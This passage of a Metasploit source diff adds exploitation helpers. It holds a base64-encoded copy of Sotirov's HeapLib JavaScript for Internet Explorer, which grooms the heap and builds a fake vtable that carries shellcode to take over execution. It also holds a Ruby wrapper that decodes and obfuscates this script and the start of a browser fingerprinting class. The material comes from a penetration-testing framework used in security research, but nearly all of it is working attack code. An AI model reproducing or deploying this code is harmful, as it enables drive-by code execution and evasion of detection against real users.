ZS5hbGxvY09sZWF1dDMyID0gZnVuY3Rpb24oYXJnLCB0YWcpIHsNCg0KICAg
|
||||
IHZhciBzaXplOw0KDQogICAgLy8gQ2FsY3VsYXRlIHRoZSBhbGxvY2F0aW9u
|
||||
IHNpemUNCiAgICBpZiAodHlwZW9mIGFyZyA9PSAic3RyaW5nIiB8fCBhcmcg
|
||||
aW5zdGFuY2VvZiBTdHJpbmcpDQogICAgICAgIHNpemUgPSA0ICsgYXJnLmxl
|
||||
bmd0aCoyICsgMjsgICAgLy8gbGVuICsgc3RyaW5nIGRhdGEgKyBudWxsIHRl
|
||||
cm1pbmF0b3INCiAgICBlbHNlDQogICAgICAgIHNpemUgPSBhcmc7DQoNCiAg
|
||||
ICAvLyBNYWtlIHN1cmUgdGhhdCB0aGUgc2l6ZSBpcyB2YWxpZA0KICAgIGlm
|
||||
ICgoc2l6ZSAmIDB4ZikgIT0gMCkNCiAgICAgICAgdGhyb3cgIkFsbG9jYXRp
|
||||
b24gc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBiZSBhIG11bHRpcGxlIG9mIDE2
|
||||
IjsNCg0KICAgIC8vIENyZWF0ZSBhbiBhcnJheSBmb3IgdGhpcyB0YWcgaWYg
|
||||
ZG9lc24ndCBhbHJlYWR5IGV4aXN0DQogICAgaWYgKHRoaXMubWVtW3RhZ10g
|
||||
PT09IHVuZGVmaW5lZCkNCiAgICAgICAgdGhpcy5tZW1bdGFnXSA9IG5ldyBB
|
||||
cnJheSgpOw0KDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIgfHwg
|
||||
YXJnIGluc3RhbmNlb2YgU3RyaW5nKSB7DQogICAgICAgIC8vIEFsbG9jYXRl
|
||||
IGEgbmV3IGJsb2NrIHdpdGggc3RyZHVwIG9mIHRoZSBzdHJpbmcgYXJndW1l
|
||||
bnQNCiAgICAgICAgdGhpcy5tZW1bdGFnXS5wdXNoKGFyZy5zdWJzdHIoMCwg
|
||||
YXJnLmxlbmd0aCkpOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICAgLy8g
|
||||
QWxsb2NhdGUgdGhlIGJsb2NrDQogICAgICAgIHRoaXMubWVtW3RhZ10ucHVz
|
||||
aCh0aGlzLnBhZGRpbmcoKGFyZy02KS8yKSk7DQogICAgfQ0KfQ0KDQoNCi8v
|
||||
DQovLyBGcmVlcyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNw
|
||||
ZWNpZmljIHRhZyB3aXRoIHRoZSBPTEVBVVQzMiBtZW1vcnkNCi8vIGFsbG9j
|
||||
YXRvci4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICB0YWcgLSBhIHRhZyBp
|
||||
ZGVudGlmeWluZyB0aGUgZ3JvdXAgb2YgYmxvY2tzIHRvIGJlIGZyZWVkDQov
|
||||
Lw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mcmVlT2xlYXV0MzIgPSBmdW5j
|
||||
dGlvbih0YWcpIHsNCg0KICAgIGRlbGV0ZSB0aGlzLm1lbVt0YWddOw0KICAg
|
||||
IA0KICAgIC8vIFJ1biB0aGUgZ2FyYmFnZSBjb2xsZWN0b3INCiAgICBDb2xs
|
||||
ZWN0R2FyYmFnZSgpOw0KfQ0KDQoNCi8vDQovLyBUaGUgSlNjcmlwdCBpbnRl
|
||||
cnByZXRlciB1c2VzIHRoZSBPTEVBVVQzMiBtZW1vcnkgYWxsb2NhdG9yIGZv
|
||||
ciBhbGwgc3RyaW5nDQovLyBhbGxvY2F0aW9ucy4gVGhpcyBhbGxvY2F0b3Ig
|
||||
c3RvcmVzIGZyZWVkIGJsb2NrcyBpbiBhIGNhY2hlIGFuZCByZXVzZXMgdGhl
|
||||
bQ0KLy8gZm9yIGxhdGVyIGFsbG9jYXRpb25zLiBUaGUgY2FjaGUgY29uc2lz
|
||||
dHMgb2YgNCBiaW5zLCBlYWNoIHN0b3JpbmcgdXAgdG8gNg0KLy8gYmxvY2tz
|
||||
LiBFYWNoIGJpbiBob2xkcyBibG9ja3Mgb2YgYSBjZXJ0YWluIHNpemUgcmFu
|
||||
Z2U6DQovLw0KLy8gICAgMCAtIDMyDQovLyAgICAzMyAtIDY0DQovLyAgICA2
|
||||
NSAtIDI1Ng0KLy8gICAgMjU3IC0gMzI3NjgNCi8vDQovLyBXaGVuIGEgYmxv
|
||||
Y2sgaXMgZnJlZWQgYnkgdGhlIE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24sIGl0
|
||||
IGlzIHN0b3JlZCBpbiBvbmUgb2YNCi8vIHRoZSBiaW5zLiBJZiB0aGUgYmlu
|
||||
IGlzIGZ1bGwsIHRoZSBzbWFsbGVzdCBibG9jayBpbiB0aGUgYmluIGlzIGZy
|
||||
ZWVkIHdpdGgNCi8vIFJ0bEZyZWVIZWFwKCkgYW5kIGlzIHJlcGxhY2VkIHdp
|
||||
dGggdGhlIG5ldyBibG9jay4gQ2h1bmtzIGxhcmdlciB0aGFuIDMyNzY4DQov
|
||||
LyBieXRlcyBhcmUgbm90IGNhY2hlZCBhbmQgYXJlIGZyZWVkIGRpcmVjdGx5
|
||||
Lg0KLy8NCi8vIFRvIGZsdXNoIHRoZSBjYWNoZSwgd2UgbmVlZCB0byBmcmVl
|
||||
IDYgYmxvY2tzIG9mIHRoZSBtYXhpbXVtIHNpemUgZm9yIGVhY2gNCi8vIGJp
|
||||
bi4gVGhlIG1heGltdW0gc2l6ZSBibG9ja3Mgd2lsbCBwdXNoIG91dCBhbGwg
|
||||
c21hbGxlciBibG9ja3MgZnJvbSB0aGUNCi8vIGNhY2hlLiBUaGVuIHdlIGFs
|
||||
bG9jYXRlIHRoZSBtYXhpbXVtIHNpemUgYmxvY2tzIGFnYWluLCBsZWF2aW5n
|
||||
IHRoZSBjYWNoZQ0KLy8gZW1wdHkuDQovLw0KLy8gWW91IG5lZWQgdG8gY2Fs
|
||||
bCB0aGlzIGZ1bmN0aW9uIG9uY2UgdG8gYWxsb2NhdGUgdGhlIG1heGltdW0g
|
||||
c2l6ZSBibG9ja3MNCi8vIGJlZm9yZSB5b3UgY2FuIHVzZSBpdCB0byBmbHVz
|
||||
aCB0aGUgY2FjaGUuDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mbHVz
|
||||
aE9sZWF1dDMyID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVnKCJG
|
||||
bHVzaGluZyB0aGUgT0xFQVVUMzIgY2FjaGUiKTsNCg0KICAgIC8vIEZyZWUg
|
||||
dGhlIG1heGltdW0gc2l6ZSBibG9ja3MgYW5kIHB1c2ggb3V0IGFsbCBzbWFs
|
||||
bGVyIGJsb2Nrcw0KDQogICAgdGhpcy5mcmVlT2xlYXV0MzIoIm9sZWF1dDMy
|
||||
Iik7DQogICAgDQogICAgLy8gQWxsb2NhdGUgdGhlIG1heGltdW0gc2l6ZWQg
|
||||
YmxvY2tzIGFnYWluLCBlbXB0eWluZyB0aGUgY2FjaGUNCg0KICAgIGZvciAo
|
||||
dmFyIGkgPSAwOyBpIDwgNjsgaSsrKSB7DQogICAgICAgIHRoaXMuYWxsb2NP
|
||||
bGVhdXQzMigzMiwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP
|
||||
bGVhdXQzMig2NCwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP
|
||||
bGVhdXQzMigyNTYsICJvbGVhdXQzMiIpOw0KICAgICAgICB0aGlzLmFsbG9j
|
||||
T2xlYXV0MzIoMzI3NjgsICJvbGVhdXQzMiIpOw0KICAgIH0NCn0NCg0KDQov
|
||||
Lw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sgb2YgYSBzcGVjaWZpZWQgc2l6ZSB3
|
||||
aXRoIHRoZSBzeXN0ZW0gbWVtb3J5IGFsbG9jYXRvci4gQQ0KLy8gY2FsbCB0
|
||||
byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRvIEhl
|
||||
YXBBbGxvYygpLiBJZiB0aGUgZmlyc3QNCi8vIGFyZ3VtZW50IGlzIGEgbnVt
|
||||
YmVyLCBpdCBzcGVjaWZpZXMgdGhlIHNpemUgb2YgdGhlIG5ldyBibG9jaywg
|
||||
d2hpY2ggaXMNCi8vIGZpbGxlZCB3aXRoICJBIiBjaGFyYWN0ZXJzLiBJZiB0
|
||||
aGUgYXJndW1lbnQgaXMgYSBzdHJpbmcsIGl0cyBkYXRhIGlzIGNvcGllZA0K
|
||||
Ly8gaW50byBhIG5ldyBibG9jayBvZiBzaXplIGFyZy5sZW5ndGggKiAyICsg
|
||||
Ni4gSW4gYm90aCBjYXNlcyB0aGUgc2l6ZSBvZiB0aGUNCi8vIG5ldyBibG9j
|
||||
ayBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYgYW5kIG5vdCBlcXVhbCB0byAz
|
||||
MiwgNjQsIDI1NiBvciAzMjc2OC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg
|
||||
ICBhcmcgLSBzaXplIG9mIHRoZSBtZW1vcnkgYmxvY2sgaW4gYnl0ZXMsIG9y
|
||||
IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRp
|
||||
ZnlpbmcgdGhlIG1lbW9yeSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFw
|
||||
TGliLmllLnByb3RvdHlwZS5hbGxvYyA9IGZ1bmN0aW9uKGFyZywgdGFnKSB7
|
||||
DQoNCiAgICB2YXIgc2l6ZTsNCg0KICAgIC8vIENhbGN1bGF0ZSB0aGUgYWxs
|
||||
b2NhdGlvbiBzaXplDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIg
|
||||
fHwgYXJnIGluc3RhbmNlb2YgU3RyaW5nKQ0KICAgICAgICBzaXplID0gNCAr
|
||||
IGFyZy5sZW5ndGgqMiArIDI7ICAgIC8vIGxlbiArIHN0cmluZyBkYXRhICsg
|
||||
bnVsbCB0ZXJtaW5hdG9yDQogICAgZWxzZQ0KICAgICAgICBzaXplID0gYXJn
|
||||
Ow0KDQogICAgLy8gTWFrZSBzdXJlIHRoYXQgdGhlIHNpemUgaXMgdmFsaWQN
|
||||
CiAgICBpZiAoc2l6ZSA9PSAzMiB8fCBzaXplID09IDY0IHx8IHNpemUgPT0g
|
||||
MjU2IHx8IHNpemUgPT0gMzI3NjgpDQogICAgICAgIHRocm93ICJBbGxvY2F0
|
||||
aW9uIHNpemVzICIgKyBzaXplICsgIiBjYW5ub3QgYmUgZmx1c2hlZCBvdXQg
|
||||
b2YgdGhlIE9MRUFVVDMyIGNhY2hlIjsNCg0KICAgIC8vIEFsbG9jYXRlIHRo
|
||||
ZSBibG9jayB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvY2F0b3INCiAgICB0aGlz
|
||||
LmFsbG9jT2xlYXV0MzIoYXJnLCB0YWcpOw0KfQ0KDQoNCi8vDQovLyBGcmVl
|
||||
cyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNwZWNpZmljIHRh
|
||||
ZyB3aXRoIHRoZSBzeXN0ZW0gbWVtb3J5DQovLyBhbGxvY2F0b3IuIEEgY2Fs
|
||||
bCB0byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRv
|
||||
IEhlYXBGcmVlKCkuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgdGFnIC0g
|
||||
YSB0YWcgaWRlbnRpZnlpbmcgdGhlIGdyb3VwIG9mIGJsb2NrcyB0byBiZSBm
|
||||
cmVlZA0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuZnJlZSA9IGZ1bmN0
|
||||
aW9uKHRhZykgew0KDQogICAgLy8gRnJlZSB0aGUgYmxvY2tzIHdpdGggdGhl
|
||||
IE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24NCiAgICB0aGlzLmZyZWVPbGVhdXQz
|
||||
Mih0YWcpOw0KDQogICAgLy8gRmx1c2ggdGhlIE9MRUFVVDMyIGNhY2hlDQog
|
||||
ICAgdGhpcy5mbHVzaE9sZWF1dDMyKCk7DQp9DQoNCg0KLy8NCi8vIFJ1bnMg
|
||||
dGhlIGdhcmJhZ2UgY29sbGVjdG9yIGFuZCBmbHVzaGVzIHRoZSBPTEVBVVQz
|
||||
MiBjYWNoZS4gQ2FsbCB0aGlzDQovLyBmdW5jdGlvbiBiZWZvcmUgYmVmb3Jl
|
||||
IHVzaW5nIGFsbG9jKCkgYW5kIGZyZWUoKS4NCi8vDQoNCmhlYXBMaWIuaWUu
|
||||
cHJvdG90eXBlLmdjID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVn
|
||||
KCJSdW5uaW5nIHRoZSBnYXJiYWdlIGNvbGxlY3RvciIpOw0KICAgIENvbGxl
|
||||
Y3RHYXJiYWdlKCk7DQoNCiAgICB0aGlzLmZsdXNoT2xlYXV0MzIoKTsNCn0N
|
||||
Cg0KDQovLw0KLy8gQWRkcyBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXpl
|
||||
IHRvIHRoZSBmcmVlIGxpc3QgYW5kIG1ha2VzIHN1cmUgdGhleSBhcmUNCi8v
|
||||
IG5vdCBjb2FsZXNjZWQuIFRoZSBoZWFwIG11c3QgYmUgZGVmcmFnbWVudGVk
|
||||
IGJlZm9yZSBjYWxsaW5nIHRoaXMgZnVuY3Rpb24uDQovLyBJZiB0aGUgc2l6
|
||||
ZSBvZiB0aGUgbWVtb3J5IGJsb2NrcyBpcyBsZXNzIHRoYW4gMTAyNCwgeW91
|
||||
IGhhdmUgdG8gbWFrZSBzdXJlDQovLyB0aGF0IHRoZSBsb29rYXNpZGUgaXMg
|
||||
ZnVsbC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgICAgLSBzaXpl
|
||||
IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0
|
||||
cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkgZnJlZSBibG9ja3MgdG8g
|
||||
YWRkIHRvIHRoZSBsaXN0IChkZWZhdWx0cyB0byAxKQ0KLy8NCg0KaGVhcExp
|
||||
Yi5pZS5wcm90b3R5cGUuZnJlZUxpc3QgPSBmdW5jdGlvbihhcmcsIGNvdW50
|
||||
KSB7DQoNCiAgICB2YXIgY291bnQgPSAoY291bnQgPyBjb3VudCA6IDEpOw0K
|
||||
DQogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb3VudDsgaSsrKSB7DQogICAg
|
||||
ICAgIHRoaXMuYWxsb2MoYXJnKTsNCiAgICAgICAgdGhpcy5hbGxvYyhhcmcs
|
||||
ICJmcmVlTGlzdCIpOw0KICAgIH0NCiAgICB0aGlzLmFsbG9jKGFyZyk7DQoN
|
||||
CiAgICB0aGlzLmZyZWUoImZyZWVMaXN0Iik7DQp9DQoNCg0KLy8NCi8vIEFk
|
||||
ZCBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXplIHRvIHRoZSBsb29rYXNp
|
||||
ZGUuIFRoZSBsb29rYXNpZGUgbXVzdCBiZQ0KLy8gZW1wdHkgYmVmb3JlIGNh
|
||||
bGxpbmcgdGhpcyBmdW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg
|
||||
ICBhcmcgICAgLSBzaXplIG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9y
|
||||
IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkg
|
||||
YmxvY2tzIHRvIGFkZCB0byB0aGUgbG9va2FzaWRlIChkZWZhdWx0cyB0byAx
|
||||
KQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUubG9va2FzaWRlID0gZnVu
|
||||
Y3Rpb24oYXJnLCBjb3VudCkgew0KDQogICAgdmFyIHNpemU7DQoNCiAgICAv
|
||||
LyBDYWxjdWxhdGUgdGhlIGFsbG9jYXRpb24gc2l6ZQ0KICAgIGlmICh0eXBl
|
||||
b2YgYXJnID09ICJzdHJpbmciIHx8IGFyZyBpbnN0YW5jZW9mIFN0cmluZykN
|
||||
CiAgICAgICAgc2l6ZSA9IDQgKyBhcmcubGVuZ3RoKjIgKyAyOyAgICAvLyBs
|
||||
ZW4gKyBzdHJpbmcgZGF0YSArIG51bGwgdGVybWluYXRvcg0KICAgIGVsc2UN
|
||||
CiAgICAgICAgc2l6ZSA9IGFyZzsNCg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0
|
||||
IHRoZSBzaXplIGlzIHZhbGlkDQogICAgaWYgKChzaXplICYgMHhmKSAhPSAw
|
||||
KQ0KICAgICAgICB0aHJvdyAiQWxsb2NhdGlvbiBzaXplICIgKyBzaXplICsg
|
||||
IiBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYiOw0KDQogICAgaWYgKHNpemUr
|
||||
OCA+PSAxMDI0KQ0KICAgICAgICB0aHJvdygiTWF4aW11bSBsb29rYXNpZGUg
|
||||
YmxvY2sgc2l6ZSBpcyAxMDA4IGJ5dGVzIik7DQoNCiAgICB2YXIgY291bnQg
|
||||
PSAoY291bnQgPyBjb3VudCA6IDEpOw0KDQogICAgZm9yICh2YXIgaSA9IDA7
|
||||
IGkgPCBjb3VudDsgaSsrKQ0KICAgICAgICB0aGlzLmFsbG9jKGFyZywgImxv
|
||||
b2thc2lkZSIpOw0KDQogICAgdGhpcy5mcmVlKCJsb29rYXNpZGUiKTsNCn0N
|
||||
Cg0KDQovLw0KLy8gUmV0dXJuIHRoZSBhZGRyZXNzIG9mIHRoZSBoZWFkIG9m
|
||||
IHRoZSBsb29rYXNpZGUgbGlua2VkIGxpc3QgZm9yIGJsb2NrcyBvZiBhDQov
|
||||
LyBzcGVjaWZpZWQgc2l6ZS4gVXNlcyB0aGUgaGVhcEJhc2UgcGFyYW1ldGVy
|
||||
IGZyb20gdGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuDQovLw0KLy8gQXJn
|
||||
dW1lbnRzOg0KLy8gICAgYXJnIC0gc2l6ZSBvZiB0aGUgbmV3IGJsb2NrIGlu
|
||||
IGJ5dGVzLCBvciBhIHN0cmluZyB0byBzdHJkdXANCi8vDQoNCmhlYXBMaWIu
|
||||
aWUucHJvdG90eXBlLmxvb2thc2lkZUFkZHIgPSBmdW5jdGlvbihhcmcpDQp7
|
||||
DQogICAgdmFyIHNpemU7DQoNCiAgICAvLyBDYWxjdWxhdGUgdGhlIGFsbG9j
|
||||
YXRpb24gc2l6ZQ0KICAgIGlmICh0eXBlb2YgYXJnID09ICJzdHJpbmciIHx8
|
||||
IGFyZyBpbnN0YW5jZW9mIFN0cmluZykNCiAgICAgICAgc2l6ZSA9IDQgKyBh
|
||||
cmcubGVuZ3RoKjIgKyAyOyAgICAvLyBsZW4gKyBzdHJpbmcgZGF0YSArIG51
|
||||
bGwgdGVybWluYXRvcg0KICAgIGVsc2UNCiAgICAgICAgc2l6ZSA9IGFyZzsN
|
||||
Cg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0IHRoZSBzaXplIGlzIHZhbGlkDQog
|
||||
ICAgaWYgKChzaXplICYgMHhmKSAhPSAwKQ0KICAgICAgICB0aHJvdyAiQWxs
|
||||
b2NhdGlvbiBzaXplICIgKyBzaXplICsgIiBtdXN0IGJlIGEgbXVsdGlwbGUg
|
||||
b2YgMTYiOw0KDQogICAgaWYgKHNpemUrOCA+PSAxMDI0KQ0KICAgICAgICB0
|
||||
aHJvdygiTWF4aW11bSBsb29rYXNpZGUgYmxvY2sgc2l6ZSBpcyAxMDA4IGJ5
|
||||
dGVzIik7DQoNCiAgICAvLyBUaGUgbG9va2FoZWFkIGFycmF5IHN0YXJ0cyBh
|
||||
dCBoZWFwQmFzZSArIDB4Njg4LiBJdCBjb250YWlucyBhIDQ4IGJ5dGUNCiAg
|
||||
ICAvLyBzdHJ1Y3R1cmUgZm9yIGVhY2ggYmxvY2sgc2l6ZSArIGhlYWRlciBz
|
||||
aXplIGluIDggYnl0ZSBpbmNyZW1lbnRzLg0KDQogICAgcmV0dXJuIHRoaXMu
|
||||
aGVhcEJhc2UgKyAweDY4OCArICgoc2l6ZSs4KS84KSo0ODsNCn0NCg0KDQov
|
||||
Lw0KLy8gUmV0dXJucyBhIGZha2UgdnRhYmxlIHRoYXQgY29udGFpbnMgc2hl
|
||||
bGxjb2RlLiBUaGUgY2FsbGVyIHNob3VsZCBmcmVlIHRoZQ0KLy8gdnRhYmxl
|
||||
IHRvIHRoZSBsb29rYXNpZGUgYW5kIHVzZSB0aGUgYWRkcmVzcyBvZiB0aGUg
|
||||
bG9va2FzaWRlIGhlYWQgYXMgYW4NCi8vIG9iamVjdCBwb2ludGVyLiBXaGVu
|
||||
IHRoZSB2dGFibGUgaXMgdXNlZCwgdGhlIGFkZHJlc3Mgb2YgdGhlIG9iamVj
|
||||
dCBtdXN0IGJlDQovLyBpbiBlYXggYW5kIHRoZSBwb2ludGVyIHRvIHRoZSB2
|
||||
dGFibGUgbXVzdCBiZSBpbiBlY3guIEFueSB2aXJ0dWFsIGZ1bmN0aW9uDQov
|
||||
LyBjYWxsIHRocm91Z2ggdGhlIHZ0YWJsZSBmcm9tIGVjeCs4IHRvIGVjeCsw
|
||||
eDgwIHdpbGwgcmVzdWx0IGluIHNoZWxsY29kZQ0KLy8gZXhlY3V0aW9uLiBU
|
||||
aGlzIGZ1bmN0aW9uIHVzZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRz
|
||||
Og0KLy8gICAgc2hlbGxjb2RlIC0gc2hlbGxjb2RlIHN0cmluZw0KLy8gICAg
|
||||
am1wZWN4ICAgIC0gYWRkcmVzcyBvZiBhIGptcCBlY3ggb3IgZXF1aXZhbGVu
|
||||
dCBpbnN0cnVjdGlvbg0KLy8gICAgc2l6ZSAgICAgIC0gc2l6ZSBvZiB0aGUg
|
||||
dnRhYmxlIHRvIGdlbmVyYXRlIChkZWZhdWx0cyB0byAxMDA4IGJ5dGVzKQ0K
|
||||
Ly8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUudnRhYmxlID0gZnVuY3Rpb24o
|
||||
c2hlbGxjb2RlLCBqbXBlY3gsIHNpemUpIHsNCg0KICAgIHZhciBzaXplID0g
|
||||
KHNpemUgPyBzaXplIDogMTAwOCk7DQoNCiAgICAvLyBNYWtlIHN1cmUgdGhl
|
||||
IHNpemUgaXMgdmFsaWQNCiAgICBpZiAoKHNpemUgJiAweGYpICE9IDApDQog
|
||||
ICAgICAgIHRocm93ICJWdGFibGUgc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBi
|
||||
ZSBhIG11bHRpcGxlIG9mIDE2IjsNCg0KICAgIGlmIChzaGVsbGNvZGUubGVu
|
||||
Z3RoKjIgPiBzaXplLTEzOCkNCiAgICAgICAgdGhyb3coIk1heGltdW0gc2hl
|
||||
bGxjb2RlIGxlbmd0aCBpcyAiICsgKHNpemUtMTM4KSArICIgYnl0ZXMiKTsN
|
||||
Cg0KICAgIC8vIEJ1aWxkIHRoZSBmYWtlIHZ0YWJsZSB0aGF0IHdpbGwgZ28g
|
||||
b24gdGhlIGxvb2thc2lkZSBsaXN0DQogICAgLy8NCiAgICAvLyBsb29rYXNp
|
||||
ZGUgcHRyICBqbXAgKzEyNCAgYWRkciBvZiBqbXAgZWN4ICBzdWIgW2VheF0s
|
||||
IGFsKjIgIHNoZWxsY29kZSAgICAgICBudWxsDQogICAgLy8gNCBieXRlcyAg
|
||||
ICAgICAgNCBieXRlcyAgIDEyNCBieXRlcyAgICAgICAgNCBieXRlcyAgICAg
|
||||
ICAgICBzaXplLTEzOCBieXRlcyAgMiBieXRlcw0KDQogICAgdmFyIHZ0YWJs
|
||||
ZSA9IHVuZXNjYXBlKCIldTkwOTAldTdjZWIiKSAgIC8vIG5vcCwgbm9wLCBq
|
||||
bXAgKyAxMjQNCg0KICAgIGZvciAodmFyIGkgPSAwOyBpIDwgMTI0LzQ7IGkr
|
||||
KykNCiAgICAgICAgdnRhYmxlICs9IHRoaXMuYWRkcihqbXBlY3gpOw0KDQog
|
||||
ICAgLy8gSWYgdGhlIHZ0YWJsZSBpcyB0aGUgb25seSBlbnRyeSBvbiB0aGUg
|
||||
bG9va2FzaWRlLCB0aGUgZmlyc3QgNCBieXRlcyB3aWxsDQogICAgLy8gYmUg
|
||||
MDAgMDAgMDAgMDAsIHdoaWNoIGRpc2Fzc2VtYmxlcyBhcyB0d28gYWRkIFtl
|
||||
YXhdLCBhbCBpbnN0cnVjdGlvbnMuDQogICAgLy8gVGhlIGptcCBlY3ggdHJh
|
||||
bXBvbGluZSB3aWxsIGp1bXAgYmFjayB0byB0aGUgYmVnaW5uaW5nIG9mIHRo
|
||||
ZSB2dGFibGUgYW5kDQogICAgLy8gZXhlY3V0ZSB0aGUgYWRkIFtlYXhdLCBh
|
||||
bCBpbnN0cnVjdGlvbnMuIFdlIG5lZWQgdG8gdXNlIHR3byBzdWIgW2VheF0s
|
||||
IGFsDQogICAgLy8gaW5zdHJ1Y3Rpb25zIHRvIGZpeCB0aGUgaGVhcC4NCg0K
|
||||
ICAgIHZ0YWJsZSArPSB1bmVzY2FwZSgiJXUwMDI4JXUwMDI4IikgKyAgICAv
|
||||
LyB0d28gc3ViIFtlYXhdLCBhbCBpbnN0cnVjdGlvbnMNCiAgICAgICAgICAg
|
||||
ICAgc2hlbGxjb2RlICsgaGVhcC5wYWRkaW5nKChzaXplLTEzOCkvMiAtIHNo
|
||||
ZWxsY29kZS5sZW5ndGgpOw0KDQogICAgcmV0dXJuIHZ0YWJsZTsNCn0NCg==
|
|
@ -0,0 +1,107 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rex/exploitation/obfuscatejs'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
#
|
||||
# Encapsulates the generation of the Alexander Sotirov's HeapLib javascript
|
||||
# stub
|
||||
#
|
||||
class HeapLib
|
||||
|
||||
#
|
||||
# The source file to load the javascript from
|
||||
#
|
||||
JavascriptFile = File.join(File.dirname(__FILE__), "heaplib.js.b64")
|
||||
|
||||
#
|
||||
# The list of symbols found in the file. This is used to dynamically
|
||||
# replace contents.
|
||||
#
|
||||
SymbolNames =
|
||||
{
|
||||
"Methods" =>
|
||||
[
|
||||
"vtable",
|
||||
"lookasideAddr",
|
||||
"lookaside",
|
||||
"freeList",
|
||||
"gc",
|
||||
"flushOleaut32",
|
||||
"freeOleaut32",
|
||||
"allocOleaut32",
|
||||
"free",
|
||||
"alloc",
|
||||
"addr",
|
||||
"hex",
|
||||
"round",
|
||||
"paddingStr",
|
||||
"padding",
|
||||
"debugBreak",
|
||||
"debugHeap",
|
||||
"debug",
|
||||
],
|
||||
"Classes" =>
|
||||
[
|
||||
{ 'Namespace' => "heapLib", 'Class' => "ie" }
|
||||
],
|
||||
"Namespaces" =>
|
||||
[
|
||||
"heapLib"
|
||||
]
|
||||
}
|
||||
|
||||
#
|
||||
# Initializes the heap library javascript
|
||||
#
|
||||
def initialize(custom_js = '', opts = {})
|
||||
load_js(custom_js, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Return the replaced version of the javascript
|
||||
#
|
||||
def to_s
|
||||
@js
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Loads the raw javascript from the source file and strips out comments
|
||||
#
|
||||
def load_js(custom_js, opts = {})
|
||||
|
||||
# Grab the complete javascript
|
||||
File.open(JavascriptFile) do |f|
|
||||
@js = f.read
|
||||
end
|
||||
|
||||
# Decode the text
|
||||
@js = Rex::Text.decode_base64(@js)
|
||||
|
||||
# Append the real code
|
||||
@js += "\n" + custom_js
|
||||
|
||||
if opts[:newobfu]
|
||||
# Obfuscate the javascript using the new lexer method
|
||||
js_obfu = JSObfu.new(@js)
|
||||
js_obfu.obfuscate
|
||||
@js = js_obfu.to_s
|
||||
return @js
|
||||
elsif opts[:noobfu]
|
||||
# Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation)
|
||||
return @js
|
||||
end
|
||||
|
||||
# Default to the old method
|
||||
# Obfuscate the javascript using the old method
|
||||
@js = ObfuscateJS.obfuscate(@js, 'Symbols' => SymbolNames)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/js/memory'
|
||||
require 'rex/exploitation/js/network'
|
||||
require 'rex/exploitation/js/utils'
|
||||
require 'rex/exploitation/js/detect'
|
|
@ -0,0 +1,71 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/text'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Js
|
||||
|
||||
|
||||
class Detect
|
||||
|
||||
#
|
||||
# Provides several javascript functions for determining the OS and browser versions of a client.
|
||||
#
|
||||
# getVersion(): returns an object with the following properties
|
||||
# os_name - OS name such as "Windows 8", "Linux", "Mac OS X"
|
||||
# os_flavor - OS flavor as a string such as "Home", "Enterprise", etc
|
||||
# os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows)
|
||||
# os_lang - OS language (e.g.: "en-us")
|
||||
# os_vendor - A company or organization name such as Microsoft, Ubuntu, Apple, etc
|
||||
